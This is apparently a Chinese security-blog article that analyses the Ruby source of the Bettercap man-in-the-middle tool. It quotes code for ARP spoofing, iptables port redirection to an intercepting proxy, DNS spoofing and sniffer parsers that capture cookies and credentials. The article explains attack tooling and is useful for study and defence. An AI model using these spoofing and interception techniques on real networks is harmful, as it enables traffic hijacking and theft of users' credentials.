MITM渗透工具Bettercap源码分析

2017-03-27 385543人围观 ,发现 13 个不明物体 工具

*原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载

简介

BetterCAP是一个强大,灵活和可移植的工具,用来为执行各种网络类型的MITM攻击,实时操纵HTTP,HTTPS和TCP流量,嗅探凭据等等。

Bettercap同时是一款采用Ruby编写的开源的软件,我们可以分析源码,来剖析软件的实现。

目录结构

lib/
├── bettercap
│   ├── banner
│   ├── context.rb           核心文件
│   ├── discovery            主机发现
│   │   ├── agents
│   │   │   ├── arp.rb
│   │   │   ├── base.rb
│   │   │   ├── icmp.rb
│   │   │   └── udp.rb
│   │   └── thread.rb
│   ├── error.rb
│   ├── firewalls            端口重定向
│   │   ├── base.rb
│   │   ├── bsd.rb
│   │   ├── linux.rb
│   │   └── redirection.rb
│   ├── loader.rb
│   ├── logger.rb            日志
│   ├── memory.rb
│   ├── monkey                对依赖第三方库类的扩充
│   │   ├── celluloid
│   │   │   ├── actor.rb
│   │   │   └── io
│   │   │       └── udp_socket.rb
│   │   ├── em-proxy
│   │   │   └── proxy.rb
│   │   ├── openssl
│   │   │   └── server.rb
│   │   ├── packetfu
│   │   │   ├── pcap.rb
│   │   │   └── utils.rb
│   │   └── system.rb
│   ├── network
│   │   ├── arp_reader.rb
│   │   ├── hw-prefixes
│   │   ├── network.rb
│   │   ├── packet_queue.rb
│   │   ├── protos             实现部分协议,parser(解析器)需要用到
│   │   │   ├── base.rb
│   │   │   ├── dhcp.rb
│   │   │   ├── mysql.rb
│   │   │   ├── ntlm.rb
│   │   │   └── snmp.rb
│   │   ├── servers
│   │   │   ├── dnsd.rb            DNS服务
│   │   │   └── httpd.rb
│   │   ├── services
│   │   ├── target.rb
│   │   └── validator.rb
│   ├── options                    命令行参数解析
│   │   ├── core_options.rb
│   │   ├── options.rb             参数解析
│   │   ├── proxy_options.rb       代理功能参数解析
│   │   ├── server_options.rb      server功能呢参数解析
│   │   ├── sniff_options.rb       sniff功能参数解析
│   │   └── spoof_options.rb       spoof功能参数解析
│   ├── pluggable.rb                 模块基类
│   ├── proxy                        代理模块实现(数据的拦截及篡改)
│   │   ├── http
│   │   │   ├── module.rb            模块(插件)基类
│   │   │   ├── modules
│   │   │   │   ├── injectcss.rb
│   │   │   │   ├── injecthtml.rb
│   │   │   │   └── injectjs.rb      注入js代码的模块(插件)
│   │   │   ├── proxy.rb             http代理实现
│   │   │   ├── request.rb
│   │   │   ├── response.rb
│   │   │   ├── ssl
│   │   │   │   ├── authority.rb
│   │   │   │   ├── bettercap-ca.pem
│   │   │   │   └── server.rb
│   │   │   ├── sslstrip
│   │   │   │   ├── cookiemonitor.rb
│   │   │   │   ├── lock.ico
│   │   │   │   └── strip.rb
│   │   │   └── streamer.rb        http代理数据处理
│   │   ├── stream_logger.rb
│   │   ├── tcp
│   │   │   ├── module.rb
│   │   │   └── proxy.rb
│   │   └── thread_pool.rb         线程池
│   ├── shell.rb
│   ├── sniffer                    sniffer功能的实现
│   │   ├── parsers                可以解析的数据包类型
│   │   │   ├── base.rb
│   │   │   ├── cookie.rb
│   │   │   ├── creditcard.rb
│   │   │   ├── custom.rb
│   │   │   ├── dhcp.rb
│   │   │   ├── dict.rb
│   │   │   ├── ftp.rb
│   │   │   ├── httpauth.rb
│   │   │   ├── https.rb
│   │   │   ├── irc.rb
│   │   │   ├── mail.rb
│   │   │   ├── mpd.rb
│   │   │   ├── mysql.rb
│   │   │   ├── nntp.rb
│   │   │   ├── ntlmss.rb
│   │   │   ├── pgsql.rb
│   │   │   ├── post.rb
│   │   │   ├── redis.rb
│   │   │   ├── rlogin.rb
│   │   │   ├── snmp.rb
│   │   │   ├── snpp.rb
│   │   │   ├── url.rb
│   │   │   └── whatsapp.rb
│   │   └── sniffer.rb
│   ├── spoofer                    欺骗功能的实现
│   │   ├── arp.rb
│   │   ├── base.rb
│   │   ├── icmp.rb
│   │   └── none.rb
│   ├── update_checker.rb
│   └── version.rb
└── bettercap.rb

23 directories, 94 files

源码分析

全局介绍

目录结构部分已经注明部分重要的文件以及文件夹的功能。其中lib/bettercap/context.rb文件中的BetterCap::Context类为BetterCap的一个核心的单例类。lib/bettercap/options/options.rb文件中的BetterCap::Options为命令行参数解析类

入口分析

/bin/bettercap BetterCap的启动文件输出Banner之后,核心的两行代码

ctx = BetterCap::Options.parse!
ctx.start!

进行解析命令行参数,返回一个BetterCap::Context的实例,同时调用ctx这个实例的start!函数

可以看出程序的核心入口在BetterCap::Context.start!函数中

lib/bettercap/context.rb

def start!
  # Start targets auto discovery.
  @discovery.start    
  # 如果没有指定具体的主机发现,将进行自动主机发现,添加到攻击目标列表中

  # Start network spoofers if any.
  @spoofer.each do |spoofer|
  # 遍历指定的网络欺骗类型,默认ARP
    spoofer.start
    # 开始对目标列表进行欺骗
  end

  # Start proxies and setup port redirection.
  if @options.proxies.any?
  # 有没有配置拦截,或者篡改数据的相关选项
    if ( @options.proxies.proxy or @options.proxies.proxy_https ) and @options.sniff.enabled?('URL')
    # 如果同时指定的http或者https数据拦截篡改的同时开启了sniff url的功能输入一个警告
      BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
    end
    create_proxies!
    # 开始创建代理,用来进行数据包的拦截篡改
  end

  enable_port_redirection!
  # 配置端口重定向,
  # 例如实现目标地址为80端口的数据包全部重定向到上面创建的http代理中,实现对数据包的拦截篡改
  # 把目标地址为53的数据包,重定向到下面开启的DNS服务中(5300端口)从而实现DNS欺骗
  # 等

  create_servers!
  # 根据命令行参数,创建DNS服务器以及HTTP服务

  # Start network sniffer.
  if @options.sniff.enabled?
  # 是否开启sniff功能呢
    Sniffer.start self
    # 开始进行Sniffer功能
  elsif @options.spoof.enabled? and !@options.proxies.any?
    Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\
                'will cause the MITM to run but no data to be collected.'
  end
end

可以看到上面6处主要功能

  • 主机发现
  • 网络欺骗
  • 端口重定向(用来实现把所有我们想要拦截篡改的目标端口的数据包重定向到代理端口中)
  • 数据包的拦截和篡改
  • DNS欺骗
  • 数据包的sniff

主机发现功能的实现

命令参数options.core.discovery默认为true,也就是进行存活主机发现,如果命令行参数中有–no-discovery,则options.core.discovery = false

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def initialize
  @discovery    = Discovery::Thread.new self
end

def start!
  @discovery.start # 开始探测存活主机
  ...
end

lib/bettercap/discovery/thread.rb

module BetterCap
module Discovery
class Thread
  def start
    @running = true
    @thread  = ::Thread.new { worker }    # 新建一个线程,跑 worker函数,功能是主机发现

    if @ctx.options.core.discovery?        # 如果开启主机发现,sleep 1.5 秒, 让主机发现线程先跑1.5秒
      sleep(1.5)
    end
  end
  def worker
    ...
    prev = []       
    while @running
      # -T 参数指定的目标主机,如果没有指定目标,则进行存活主机发现,存活的主机,全部加入到目标主机
      if @ctx.options.core.targets.nil?      
        @ctx.targets = Network.get_alive_targets(@ctx).sort_by {      # 进行存活主机发现
          |t| t.sortable_ip
        }
      end

      # 循环中
      # 如果当前的目标主机列表@ctx.targets, 与上一次的目标主机列表prev 不同,在命令行打印出来
      print_differences( prev ) if @ctx.options.core.discovery?

      prev = @ctx.targets       # 记录当前目标主机列表

      @ctx.memory.optimize!
      sleep(1) if @ctx.options.core.discovery?
    end
  end
end
end
end
end

lib/bettercap/network/network.rb

def get_alive_targets( ctx )
  if ctx.options.core.discovery?    # 主机发现默认开启
    start_agents( ctx )                # 发送广播包
  end

  ArpReader.parse ctx                # 读取arp缓存表,获取存活的主机
end

def start_agents( ctx, address = nil )
  # 使用 icmp ud arp 三种协议,创建广播包(lib/bettercap/discovery/agents)push进入ctx.packets这个数据包发送列队(BetterCap::Network::PacketQueue)
  # 具体过程参考
  # lib/bettercap/discovery/agents/base.rb
  # lib/bettercap/network/packet_queue.rb
  [ 'Icmp', 'Udp', 'Arp' ].each do |name|
    BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
  end
  # 等待数据包发送列队,把数据包全部发送出去
  ctx.packets.wait_empty( ctx.timeout )
end

lib/bettercap/network/arp_reader.rb

module BetterCap
module Network
class ArpReader
    def self.parse( ctx )
    targets = []
    self.parse_cache do |ip,mac|      # 解析换从表,传递一个block
      if ip != ctx.gateway.ip and ip != ctx.iface.ip
        if ctx.options.core.ignore_ip?(ip)
          Logger.debug "Ignoring #{ip} ..."
        else
          # reuse Target object if it's already a known address
          known = ctx.find_target ip, mac
          if known.nil?
            # 发现新的存活主机,扔进数组中
            targets << Target.new( ip, mac )
          else
            targets << known
          end
        end
      end
    end
    targets   # 将新发现的存活主机返回
  end

  def self.parse_cache
    iface = Context.get.iface.name
    Shell.arp.split("\n").each do |line|    # Shell.arp 就是执行 LANG=en && arp -a -n 参考 lib/bettercap/shell.rb
      m = self.parse_cache_line(iface,line) # 正则匹配缓存表每一行
      unless m.nil?
        ip = m[1]
        hw = Target.normalized_mac( m[2] )
        if hw != 'FF:FF:FF:FF:FF:FF'
          yield( ip, hw )                   # call block
        end
      end
    end
  end

  def self.parse_cache_line( iface, line )
    if RUBY_PLATFORM =~ /openbsd/i
      /([0-9\.]+)\s+([a-f0-9:]+)\s+#{iface}\s+.*/i.match(line)
    else
      /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{iface}.*/i.match(line)
    end
  end
end
end
end

网络欺骗功能的实现

命令行参数-S 指定 网络欺骗使用的协议,默认为arp

lib/bettecap/options/spoof_options.rb

def initialize
  @spoofer     = 'ARP'
  @half_duplex = false
  @kill        = false
end
//可以使用-S指定多个协议
def parse_spoofers
  valid = []
  @spoofer.split(",").each do |module_name|
    valid << Spoofers::Base.get_by_name( module_name )    //讲指定spoofer的对象存放到数组并返回
  end
  valid
end

lib/bettercap/context.rb

@spoofer.each do |spoofer|
  spoofer.start //调用spoofer的start函数
end

以ARP协议为例

lib/bettercap/spoofers/arp.rb

def send_spoofed_packet( saddr, smac, daddr, dmac )
  pkt = PacketFu::ARPPacket.new
  pkt.eth_saddr = smac
  pkt.eth_daddr = dmac
  pkt.arp_saddr_mac = smac
  pkt.arp_daddr_mac = dmac
  pkt.arp_saddr_ip = saddr
  pkt.arp_daddr_ip = daddr
  pkt.arp_opcode = 2            //发送arp响应包

  @ctx.packets.push(pkt)
end

def start
    ...
  @sniff_thread = Thread.new { arp_watcher }        //创建一个线程监听arp广播包
  @spoof_thread = Thread.new { arp_spoofer }        //
  ...
end

def arp_watcher
    ...
  sniff_packets('arp') { |pkt|            //数据包是一个arp数据包
    if is_arp_query?(pkt)                        //是一个arp请求的数据包
      Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
      send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s                    //发送arp响应包,欺骗原地址主机,目标的IP地址对应的mac,是自己的mac
    end
  }
end

def arp_spoofer
  spoof_loop(1) { |target|
    if target.spoofable?
      spoof(target)            //调用spoof
    end
  }
end

 def spoof( target, restore = false )        // restore = true,用户程序停止时,恢复目标主机mac地址表
  if restore
      //恢复目标主机的网关IP MAC映射关系
    send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
    //恢复网关的目标主机IP MAC映射关系
    send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
    ...
  else
    //欺骗目标,冒充网关
    send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac )
    //欺骗网关,冒充目标
    send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
    ...
  end
end

端口转发功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    rection!   # 创建端口转发,拦截数据并转发到代理端口上

lib/bettercap/context.rb

# Apply needed BetterCap::Firewalls::Redirection objects.
  def enable_port_redirection!
    # 获取需要端口转发的规则
    @redirections = @options.get_redirections(@iface) 
    # 遍历转发规则(Firewalls::Redirection的实例)
    @redirections.each do |r|
      Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '*' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
      # 进行端口转发
      @firewall.add_port_redirection( r )
    end
  end

lib/options/options.rb

def get_redirections iface
    if @proxies.proxy
        redirections << redir( iface.ip, port, @proxies.proxy_port )

lib/options/options.rb

def redir( address, port, to, proto = 'TCP' )
  Firewalls::Redirection.new( @core.iface, proto, nil, port, address, to )
end

Firewalls::Redirection的实例即为需要端口转发的规则

lib/bettercap/firewalls/linux.rb

def add_port_redirection( r )
    # post route
    Shell.execute('iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE')
    # accept all
    Shell.execute('iptables -P FORWARD ACCEPT')
    # add redirection
    Shell.execute("iptables -t nat -A PREROUTING -i #{r.interface} -p #{r.protocol} #{r.src_address.nil? ? '' : "-d #{r.src_address}"} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}")
  end

将特定端口的所有数据,重定向到代理端口上去

数据包拦截篡改功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    if @options.proxies.any?
        create_proxies!        # 创建代理(数据包处理) 默认监听8080端口
    end

    enable_port_redirection!   # 创建端口转发,拦截数据并转发到代理端口上

def create_proxies!
    @proxies << Proxy::HTTP::Proxy.new( @iface.ip, @options.proxies.proxy_port, false )

    @proxies.each do |proxy|
      proxy.start
    end

上面以及分析过端口转发功能的实现,只需要创建代理之后,把所有的数据包重定向到我们的代理端口上就可以对数据包进行拦截和篡改

以http代理举例分析

lib/proxy/http/proxy.rb``BetterCap::Proxy::HTTP::Proxy``initialize函数中 中创建一个线程池@pool,使用client_worker client处理数据start函数中创建代理服务,使用server_thread函数中IO.select(sockets)处理每一个发送过来的请求,并发送到线程池 @pool << io

client_worker函数解析http请求,调用@streamer.handle( request, client )``@streamer.handle( request, client )中获取响应结果后,调用process( request, response ),来间接调用BetterCap::Proxy::HTTP::Module.modules(--proxy-module hack_titleon_request函数来对数据包进行篡改操作,最后调用client.write response.to_s,向受害者返回响应数据包

从而完成对数据包的拦截和篡改

DNS欺骗功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/options/server_options.rb

opts.on( '--dns FILE', 'Enable DNS server and use this file as a hosts resolution table.' ) do |v|
  @dnsd      = true            # 如果参数中配置了 --dns /tmp/hosts.txt, 则设置@dnsd = true
  @dnsd_file = File.expand_path v    #获取参数文件的绝对路径存放到@dnsd_file
end

opts.on( '--dns-port PORT', "Set DNS server port, default to #{@dnsd_port.to_s.yellow}." ) do |v|
  raise BetterCap::Error, "Invalid port '#{v}' specified." unless Network::Validator.is_valid_port?(v)
  @dnsd_port = v.to_i        # 设置DNS server监听端口
end

lib/bettercap/context.rb

def start!
  ...
  enable_port_redirection!
  create_servers!
  ...
end

def enable_port_redirection!
  @redirections = @options.get_redirections(@iface)        # 获取端口重定向规则
  @redirections.each do |r|
    Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '*' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
    @firewall.add_port_redirection( r )                    # 依据重定向规则进行端口重定向
  end
end

def create_servers!
  # Start local DNS server.
  if @options.servers.dnsd        # 如果使用了--dns 参数,则为true
    Logger.warn "Starting DNS server with spoofing disabled, bettercap will only reply to local DNS queries." unless @options.spoof.enabled?

    @dnsd = Network::Servers::DNSD.new( @options.servers.dnsd_file, @iface.ip, @options.servers.dnsd_port )        # 实例化一个dns服务对象
    @dnsd.start                     # 跑起来服务
  end
  ...
end

端口重定向规则的获取lib/bettercap/options/options.rb

def get_redirections iface
  redirections = []

  if @servers.dnsd or @proxies.sslstrip?
      # 新建转发规则,把目的地址为53的tcp,udp数据包全部重定向到dns server port上,默认为5300
    redirections << redir( iface.ip, 53, @servers.dnsd_port )    
    redirections << redir( iface.ip, 53, @servers.dnsd_port, 'UDP' )
  end
  ...
  redirections
end

使用了RubyDNS创建DNS Server,依赖rubydns gem,具体实现参考RubyDNS,只分析关键代码lib/bettercap/network/servers/dnsd.rb

options = {                        # RubyDNS的配置
  :listen => @ifaces,
  :asynchronous => true,
  :server_class => DnsWrapper    # 自定义dns解析处理类,方便ob 目标主机的DNS的解析
}

RubyDNS::run_server( options ) do    # 使用RubyDNS跑起来一个 DNS Server
    @logger.level = ::Logger::ERROR
    @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])

    # 默认DNS查询处理,使用 8.8.8.8
    otherwise do |transaction|
      Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
      transaction.passthrough!(@upstream)
    end
end

unless @hosts.nil?            # @hosts 在实例初始化时候赋值,值为@options.servers.dnsd_file, 也就是指定的要进行欺骗的DNS文件路径
  DNSD.parse_hosts( @hosts ).each do |exp,addr|        # 解析文件, 格式 exp为域名或者匹配域名的正则表达式,addr为解析到的IP地址
    add_rule!( exp, addr )    # 添加到dns查询规则里面
  end
end

def add_rule!( exp, addr )
  Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."

  block = Proc.new do |transaction|        # 创建一个 当前这个dns解析的block
    Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
    transaction.respond!(addr)
  end

  DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )    
  # 新建一个RubyDNS::RuleBasedServer::Rule实例,存放到当前DNS Server的规则表中
end

到此为止,当目标机,发送DNS请求,如果查询的域名,存在在我们的dns.txt文件中,或者能够被文件中的域名正则匹配到,就直接使用dns.txt文本中,对应的ip作为dns解析结果进行回应。达到DNS欺骗的目的。

捕获特定数据包的解析

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    # Start network sniffer.
    if @options.sniff.enabled?
      Sniffer.start self         #sniff数据包  在一个新的线程里面运行
    elsif @options.spoof.enabled? and !@options.proxies.any?    
    #如果同时开启了欺骗的同时开启了代理模式(数据包的篡改)输出一个警告
      Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\
                  'will cause the MITM to run but no data to be collected.'
    end

lib/bettercap/sniff/sniff.rb

def self.start( ctx )
  Thread.new {
  Logger.debug 'Starting sniffer ...'

  setup( ctx )  # 创建一个PacketFu::Capture对象,进行网卡监听 @@cap

  start     = Time.now
  skipped   = 0
  processed = 0

  self.stream.each do |raw_packet|    #self.stream 即为 @@cap.stream, 遍历监听到的数据包
    break unless @@ctx.running        #退出循环,如果程序结束
    begin
      parsed = PacketFu::Packet.parse(raw_packet)  #解析数据包,返回响应的Packet子类对象
    rescue Exception => e
      parsed = nil
    end

    if skip_packet?(parsed)      # 判断是非为目标主机的数据包,如果不是目标数据包,则跳过
      skipped += 1
    else
      processed += 1            # 如果是目标主机数据包
      append_packet raw_packet    # 如果参数设置了数据包记录文件,则将数据包写入到文件中
      parse_packet parsed        # 解析数据包,关键代码
    end
  end

  stop = Time.now
  delta = ( stop - start ) * 1000.0
  total = skipped + processed

  Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )"
}
end

lib/bettercap/sniff/sniff.rb

def self.parse_packet( parsed )
  # @@parsers 数组,存放要进行数据包类型判断对象
  @@parsers.each do |parser|            #遍历所有对象
    begin
      parser.on_packet parsed            #对当前数据进行解析判断,如果解析成功,则输出。 关键代码
    rescue Exception => e
      Logger.exception e
    end
  end
end

数据包解析类的父类为BetterCap::Parsers::Base数据包解析类都存放在lib/bettercap/sniffer/parsers/文件夹中,支持的解析类型为

➜  bettercap git:(master) ✗ ls lib/bettercap/sniffer/parsers
base.rb       creditcard.rb dhcp.rb       ftp.rb        https.rb      mail.rb       mysql.rb      ntlmss.rb     post.rb       rlogin.rb     snpp.rb       whatsapp.rb
cookie.rb     custom.rb     dict.rb       httpauth.rb   irc.rb        mpd.rb        nntp.rb       pgsql.rb      redis.rb      snmp.rb       url.rb

@@parsers的赋值在lib/bettercap/sniff/sniff.rb

#setup( ctx )的时候
def self.setup( ctx )
  ...
  if @@ctx.options.sniff.custom_parser.nil?
    # 根据命令行参数,加载置顶的解析类,也就是所有的解析类实例化,存放到@@parsers
    @@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers
  else
    # 命令行自定义解析的正则
    @@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser
  end

@@ctx.options.sniff.parsers的由来lib/bettercap/options/sniff_options.rb

# 默认为全部解析器
def initialize
 @parsers       = ['*']
end
# 或者为指定的一个或多个
opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{'*'.yellow}" ) do |v|
  @enabled = true
  @parsers = Parsers::Base.from_cmdline(v)        #根据命令行返回指定的解析器的类名
end

Parsers::Base.load_by_names函数,实例化指定的解析器类,或者所有的解析器类(除了BetterCap::Parsers::Custom)。

实例化的解析器对象,被依次调用on_packet方法,处理当前的数据包例如lib/bettercap/sniffer/parsers/cookie.rb

module BetterCap
module Parsers
# HTTP cookies parser.
class Cookie < Base
  # Cookies to ignore.
  FILTER = [ '__cfduid', '_ga', '_gat' ].freeze

  def on_packet( pkt )
    hostname = nil
    cookies = {}

    pkt.to_s.split("\n").each do |line|        # 匹配HTTP头部的 Host 以及 Cookie
      if line =~ /Host:\s*([^\s]+)/i
        hostname = $1
      elsif line =~ /.*Cookie:\s*(.+)/i
        $1.strip.split(';').each do |v|
          k, v = v.split('=').map(&:strip)
          next if k.nil? or v.nil?
          unless k.empty? or v.empty? or FILTER.include?(k)
            cookies[k] = v
          end
        end
      end
    end

    unless hostname.nil? or cookies.empty?        # 如果同时匹配到了
      StreamLogger.log_raw( pkt, "COOKIE", "[#{hostname.yellow}] #{cookies.map{|k,v| "#{k.green}=#{v.yellow}"}.join('; ')}" )        # 输出对应host的cookie
    end
  end
end
end
end

程序的停止

lib/bettercap

begin
...
ensure
  # Make sure all the messages on the logger queue are printed.
  BetterCap::Logger.wait!

  ctx.finalize unless ctx.nil?
end

lib/bettercap/context.rb

def finalize
  @running = false            //设置@running之后,很多线程就会停止工作
  @discovery.stop             //停止主机发现

  @spoofer.each do |spoofer|
    spoofer.stop                 //停止spoofer
  end

  @packets.stop                 //停止sniff

  @proxies.each do |proxy|
    proxy.stop                     //停止代理程序
  end

  @redirections.each do |r|
    @firewall.del_port_redirection( r )            //删除本机端口重定向规则
  end

  @firewall.restore                                             //刷新本纪端口重定向信息

  @dnsd.stop unless @dnsd.nil?                         //停止dnsd
  @httpd.stop unless @httpd.nil?                     //停止httpd
end

*原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载

更多精彩
相关推荐
发表评论

已有 13 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

1 文章数 0 评论数 0 关注者

特别推荐

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php